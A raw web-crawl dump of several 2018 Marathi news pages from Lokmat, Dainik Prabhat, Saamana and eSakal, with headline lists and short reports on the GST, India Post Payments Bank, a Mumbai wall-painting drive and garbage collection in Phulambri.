चित्रपटसृष्टीतील अनेक दिग्गच कलाकारांनी त्यांना ट्विटरच्या माध्यमातून श्रध्दांजली वाहिली .\nसामाजिक संवेदनांनी भरणार हळुवार प्रेमाचे रांजण\nतुकारामांच्या मुखी विठ्ठल रखुमाईची संसारगाथा\nकलाकार आणि तंत्रज्ञांनी उभारली मेंढपाळ वस्ती\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00156.warc.wet.gz", "language": "mr", "language_score": 0.93, "bucket": "all"} {"url": "https://lokmat.news18.com/national/no-merchants-opposed-gst-said-modi-273639.html", "date_download": "2018-09-25T16:50:31Z", "digest": "sha1:JK3DAI5HEZB2LNJM2PKQICEFUTW4UNHF", "length": 12423, "nlines": 126, "source_domain": "lokmat.news18.com", "title": "देशात एकाही व्यापारी संघटनेनं जीएसटीचा विरोध केला नाही,मोदींचा अजब दावा", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nदेशात एकाही व्यापारी संघटनेनं जीएसटीचा विरोध केला नाही,मोदींचा अजब दावा\nपंतप्रधान मोदींनी हिमाचल प्रदेशमधल्या सभेत आज एक अजब दावा केला. जीएसटीचा विरोध देशातल्या एकाही व्यापारी संघटनेनं केला नाही, सर्वांनी त्याला पाठिंबाच दिला, असं मोदी म्हणाले.\n05 नोव्हेंबर : पंतप्रधान मोदींनी हिमाचल प्रदेशमधल्या सभेत आज एक अजब दावा केला. जीएसटीचा विरोध देशातल्या एकाही व्यापारी संघटनेनं केला नाही, सर्वांनी त्याला पाठिंबाच दिला, असं मोदी म्हणाले.हिमाचलच्या उनामध्ये ते बोलत होते.\nदिल्लीत बसणाऱ्यांनाच सगळं समजतं, यावर आमचा विश्वास नाही. देशातल्या प्रत्येकाला बुद्धी आहे. त्यामुळेच आम्ही जीएसटीमध्ये सूचना येतील तसे बदल करत गेलो, असं मोदी म्हणाले.\nविधानसभा निवडणुकीच्या प्रचारासाठी मोदी हिमाचल प्रदेशच्या उनामध्ये होते. हिमाचलमध्ये डिसेंबरात निवडणूक होतेय.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nजम्मू- काश्मीरची स्थिती खराब, अजून एका सर्जिकल स्ट्राइकची आवश्यकता- लष्कर प्रमुख\nगुन्ह्यांचे खटले असलेल्या नेत्यांना अपात्र ठरवण्यास सुप्रीम कोर्टाचा नकार\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00156.warc.wet.gz", "language": "mr", "language_score": 0.94, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%AA%E0%A5%8B%E0%A4%B8%E0%A5%8D%E0%A4%9F%E0%A4%BE%E0%A4%A6%E0%A5%8D%E0%A4%B5%E0%A4%BE%E0%A4%B0%E0%A5%87-%E0%A4%AC%E0%A5%85%E0%A4%82%E0%A4%95%E0%A4%BF%E0%A4%82%E0%A4%97-%E0%A4%B8%E0%A5%87%E0%A4%B5/", "date_download": "2018-09-25T16:39:56Z", "digest": "sha1:2TRQACEM77N2KJMFKLAD5FQZ6DGCEBP5", "length": 9200, "nlines": 150, "source_domain": "www.dainikprabhat.com", "title": "पोस्टाद्वारे बॅंकिंग सेवा सुरू… | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nपोस्टाद्वारे बॅंकिंग सेवा सुरू…\nनवी दिल्ली – पोस्टाच्या कार्यालयांतून बॅंकेची सेवा सुरू करण्याच्या उपक्रमाला पासून प्रारंभ झाला. इंडियन पोस्ट पेमेंट बॅंक असे या सेवेचे नाव असून सुरूवातीच्या टप्प्यात देशातील 650 टपाल कार्यालयांतून ही मर्यादित स्वरूपाची बॅंकिंग सेवा सुरू करण्यात आली आहे. बॅंकांच्या अन्य सेवा यातील खातेदारांना मिळणार असल्या तरी कर्जाचे व्यवहार मात्र येथून होणार नाहीत.\nदेशात पोस्ट खात्याचे मोठे नेटवर्क उपलब्ध आहे. त्याद्वारे ग्रामीण आणि दुर्गम भागात बॅंकिंग सेवा उपलब्ध करून देणे हा सेवेचा प्रमुख उद्देश आहे. इंडीयन पोस्ट पेमेंट बॅंकेद्वारे आम्ही देशाच्या कानाकोपऱ्यात बॅंक सेवा याद्वारे उपलब्ध करून देणार आहोत अशी माहिती पंतप्रधान नरेंद्र मोदी यांनी या निमीत्ताने दिली. देशभरात पोस्टाच्या 1 लाख 55 हजार शाखा आहेत. त्या सर्व शाखा बॅंकेशी जोडल्या जाणार आहेत. येत्या 31 डिसेंबरपर्यंत हे काम पुर्ण केले जाणार आहे. सध्या 650 पोस्ट कार्यालयांमध्येच ही सेवा उपलब्ध असली तरी या सेवे अंतर्गत 3 हजार ठिकाणी ऍक्‍सेस पॉईन्ट दिले जाणार आहेत त्यामुळे तेथूनही नागरीकांना बॅंकिंग सेवा उपलब्ध होऊ शकणार आहे.\nपोस्ट खात्याला बॅंकिंगची अनुमती मिळाल्यानंतर आता त्याद्वारे सरकारी बॅंकाही अन्य खासगी बॅंकांप्रमाणे आपले नेटवर्क वाढवू शकणार आहेत. सध्या एअरटेल पेमेंट बॅंक, पेटीएम पेमेंट बॅंक अशा खासगी क्षेत्रातील कंपन्या या क्षेत्रात कार्यरत आहेत.\nया खात्यातून ज्या बॅंकिंग सेवा उपलब्ध होणार आहेत त्यात बचत खाते सुरू करणे, करंट अकाऊंट उघडणे, पैसे जमा करणे, अन्यत्र पाठवणे, विविध प्रकारची बिले भरणे इत्यादी सेवांचा समावेश आहे. एसएमएस, आयव्हीआर, मोबाईल बॅंकिंग ऍप इत्यादी सेवांद्वारे ही सेवा नागरीकांना तेथून उपलब्ध होईल. या आधी झारखंड आणि छत्तीसगड या दोन राज्यांतील काही पोस्ट ऑफिेसेस मध्ये ही सेवा गेल्या जानेवारी महिन्यापासून प्रायोगिक तत्वावर सुरू करण्यात आली होती. त्याची व्याप्ती आता वाढवण्यात आली आहे.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleआता शेतक-यांच्या विहिरीतल्या पाण्यावरही टॅक्‍स\nNext articleअक्षयची “मुगल’मधून माघार, आता रणबीरला ऑफर\nदेशाच्या चौकीदाराने गरीब, शहिदांचे पैसे अंबानींच्या खिशात घातले\nशरद पवारांनी खोटं बोलू नये\n5 हजार कोटी घेऊन गुजरातचा व्यापारी परदेशात फरार\nयशवंत आणि शत्रुघ्न सिन्हा आपकडून निवडणूक लढणार\nकुपोषणाशी मुकाबला करण्यासाठी ठोस यंत्रणा आहे का \nउत्तर भारतात पावसाचे थैमान; 8 जणांचा मृत्यू\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00158.warc.wet.gz", "language": "mr", "language_score": 0.93, "bucket": "all"} {"url": "https://lokmat.news18.com/amp/program/he-pahach/vachal-tr-vachal-special-show-on-vinda-karandikar-267757.html", "date_download": "2018-09-25T16:51:17Z", "digest": "sha1:H7JI266T6OUWJU6UE6QGYVLQQPB5NW4A", "length": 1701, "nlines": 24, "source_domain": "lokmat.news18.com", "title": "Lokmat News - वाचाल तर वाचालमध्ये आठवणी विं.दा. करंदीकरांच्या–News18 Lokmat", "raw_content": "\nवाचाल तर वाचालमध्ये आठवणी विं.दा. करंदीकरांच्या\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\n‘गणेशोत्सवाचं मॅनेजमेंट’ : पुण्याच्या संस्कृतीचा संपन्न वारसा, श्रीमंत दगडूशेठ हलवाई गणपती\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00158.warc.wet.gz", "language": "mr", "language_score": 0.89, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/twitter/all/page-4/", "date_download": "2018-09-25T16:56:42Z", "digest": "sha1:KOAD3TU2LOYMG3BQ56DRQPN2GGSNSBOF", "length": 11483, "nlines": 140, "source_domain": "lokmat.news18.com", "title": "Twitter- News18 Lokmat Official Website Page-4", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nबिग बाॅस 12 : सलमान खानचा सरकारी बाबू पाहिलात का\nदस का दम शो नंतर आता सलमान खान घेऊन येतोय बिग बाॅसचा 12वा सीझन. या सीझनमध्येही ट्विस्ट आहे. आणि वेगवेगळ्या विचित्र जोड्या असणार आहेत.\nगौतम गंभीरने तृतीयपंथीयांना मानले बहिण, साजरं केलं रक्षाबंधन\nनीना गुप्ताची मुलगी घटस्फोटाच्या मार्गावर\n'भारत'मधला सलमान-कॅटचा फर्स्ट लूक पाहिलात का\nमुंबई पोलिसांच्या सुचनेनंतरही शिबानी दांडेकरने केलं किकी चॅलेंज\nपुरातील लोकांना वाचवण्यासाठी पाठीची केली पायरी, आता हे बक्षिस जाहीर\nशाळेसोबत वृद्धाश्रमाला भेट देण्यासाठी गेली आणि...\nKBC10 : असामान्य व्यक्तिमत्त्वांचा सहवास लाभणं हा माझा सन्मान - बिग बी\nहिना खाननं दिल्या ईदच्या पारंपरिक शुभेच्छा\nट्विटरचा केमिकल लोचा, 'सर्कीट'चं अकाऊंट केलं हॅक\nविनेश फोगाटची दमदार खेळी, भारताला मिळवून दिलं दुसरं सुवर्णपदक\nकेरळमध्ये पाऊस थांबला, मदत कार्याला वेग आता संकट रोगराईचं\nVIDEO : आशियाई क्रीडा स्पर्धेत भारतीय खेळाडूंनी केली 'रॉयल' एंट्री\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00158.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "http://www.saamana.com/colorful-walls-in-mumbai/", "date_download": "2018-09-25T17:21:19Z", "digest": "sha1:5GDS724IG6QNNJ6O56HCMVDVTWJG23DY", "length": 17168, "nlines": 259, "source_domain": "www.saamana.com", "title": "भिंती झाल्या सजीव | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा…\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : हिंदुस्थानला दुसरा धक्का\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nज्याप्रमाणे आपण आपले घर सुंदर ठेवतो तसा तसंच आपल्या आजूबाजूचा परिसर सुंदर ठेवला तर नेमका हाच विचार घेऊन कांदिवली (पूर्व) येथील ठाकूर व्हिलेज जवळील रहिवाशांनी आपला परिसर केवळ सुंदरच नाही तर रंगीतही करून टाकला. जागतिक पर्यावरण दिनानिमित्त ५ जून रोजी येथील रेसिडेंस फोरम, सेव्ह आर्ट आणि मुंबई महापालिका यांच्या प्रयत्नांमुळे या भागात भिंत रंगविण्याचा कार्यक्रम आयोजित करण्यात आला. ६ फूट उंच आणि ३०० फूट लांबी असलेल्या या भिंतीवर इथल्या रहिवाशांची कल्पकता आणि रंगकाम पाहण्याचा मस्त योग जमून आलेला आहे. या कार्यक्रमाच्या निमित्ताने पर्यावरणाचे महत्त्व रहिवाशांनी मुंबईकरांना सांगितले.\nशनिवारी २ जूनला सकाळी ७ पासूनच या रंगकामाला सुरुवात झाली. लहान मुलांपासून ते ज्येष्ठ नागरिकांचा आणि महिलांचा उत्स्फूर्त सहभाग या कार्यक्रमात होता. विविध रंगांनी हा परिसर उठून दिसत होता. विविध प्रकारचे सामाजिक संदेश या भिंतीवर लिहिले गेले. इथे दाखल झालेल्या वृत्तमाध्यमांच्या लोकांनाही भिंत रंगवायचा मोह आवरला नाही. वृद्ध महिला पुरुषांनीही फराटे मारायचा आनंद लुटला.\nया अभिनव उपक्रमाला येथील रहिवाशांनी मोठय़ा प्रमाणात प्रतिसाद दिला. या पुढेही नवनवीन कार्यक्रमांचे येथे आयोजन केले जाईल. लोकांच्या सहभागातून एक वेगळी चळवळ उभी राहील. हा उपक्रम म्हणजे कलेला प्रोत्साहन आहे. कलेमुळे हा परिसर सुंदर होईल. इथली दुनिया रंगीन होईल.\n-संदीप श्रीवास्तव, रेसिडेंस फाऊंडेशनचे सदस्य\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nमागीललपंडाव खेळताना पेटीत अडकला, ४ वर्षीय मुलाचा गुदमरून मृत्यू\nपुढीलचला, ‘संपर्क’ खेळू या\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nमनाची कवाडं उघडणारे चित्रप्रदर्शन\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा...\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00159.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://amp.esakal.com/marathwada/marathi-news-marathwada-news-garbage-phulambri-101103", "date_download": "2018-09-25T17:28:06Z", "digest": "sha1:GDQCCCWIWGSXMQK5NCKFZDAUVT3YKJ65", "length": 12663, "nlines": 46, "source_domain": "amp.esakal.com", "title": "Marathi news Marathwada news garbage in phulambri कचरा गोळा करणाऱ्या घंटागाड्या बनल्याहेत जनजागृतीचे माध्यम | eSakal", "raw_content": "\nकचरा गोळा करणाऱ्या घंटागाड्या बनल्याहेत जनजागृतीचे माध्यम\nनवनाथ इधाटे | रविवार, 4 मार्च 2018\nआपल्या घरात निघणारा कचरा ओला कचरा वेगळा डस्टबिनमध्ये जमा करून रोज येणाऱ्या घंटा गाडीतच टाकावा. भविष्यात ओल्या कचऱ्याच्या माध्यमातून नगरपंचायत कंपोस्ट खत निर्मिती करण्याच्या प्रकल्प उभारणार आहे. तसेच नागरिकांनी शहरातील नाल्यात व सार्वजनिक ठिकाणी कचरा टाकू नये.\n- योगेश पाटील, मुख्याधिकारी फुलंब्री\nफुलंब्री : नगरपंचायतने दिलेल्या साफसफाई ठेक्याच्या भरवशावरच शहर स्वच्छ होणार असून यामध्ये प्रत्येकाचा सहभाग आवश्यक आहे. फुलंब्रीकरांची यांत जाणीव व उत्साह निर्माण करत जनजागृती व्हावी, या उद्देशातून नगरपंचायतने शहरातील कचरा गोळा करणाऱ्या घंटा गाड्यांना 'म्युझिक सिस्टिम' लावले आहेत.\nस्वच्छतेचा संदेश देणारी गीते या 'म्युझिक सिस्टिम'वर दिवसभर गल्लीबोळात सुरू असतात. नगरपंचायतच्या या नव्या प्रयोगाचे शहरवासीयांकडून कौतुक होत असून प्रत्येक नागरिक स्वच्छतामोहिमेत सहभागी होऊन आपल्या परिसरातील कचरा घंटागाडीतच टाकतांना दिसून येत आहे. फुलंब्री शहर स्वच्छ व सुंदर बनविण्यासाठी घरात, दुकानात निघणारा कचरा घंटागाडीतच टाकण्याचे आवाहन नगराध्यक्ष सुहास शिरसाठ यांनी केले.\nस्वच्छ फुलंब्री, सुंदर फुलंब्री हा नारा फुलंब्रीकर सोबत घेऊन आपला परिसर स्वच्छ असावा या उद्देशातून स्वच्छ महाराष्ट्र अभियानांतर्गत स्वच्छतेवर भर दिला जात आहे. फुलंब्री शहरामध्ये 15 फेब्रुवारी रोजी नगरपंचायतच्या वतीने बी.व्ही.जी इंडिया लि.पुणे या कंपनीला देण्यात आलेल्या साफसफाई कामाचा शुभारंभ इफ्कोचे केंद्रीय संचालक त्र्यंबकराव शिरसाठ यांच्या हस्ते नारळ फोडून करण्यात आला आहे. तेव्हापासून रोज सकाळी सहा वाजेपासून बी.व्ही.जी इंडिया लि.पुणे या कंपनीचे कर्मचारी फुलंब्री शहरातील साफसफाई व घंटा गाडीच्या माध्यमातून रोजच्या रोज फुलंब्रीकरांच्या घरातून निघणारा कचरा जमा करून घेऊन जात आहेत. यामुळे मागील 15 दिवसांमध्ये साफसफाईच्या बाबतीत फुलंब्री शहर स्वच्छ व सुंदर दिसत आहे. तसेच साफसफाई करणे ही फक्त या कंपनीचीच जबाबदारी नसून ती फुलंब्री शहरात राहणाऱ्या प्रत्येक नागरिकाची जबाबदारी आहे, हे नागरिकांच्या मनावर ठसवून देण्याचा प्रयत्न म्युझिक सिस्टिम'च्या माध्यमातून नगरपंचायतीच्या वतीने केला जात आहे. शासनाने लोकांत 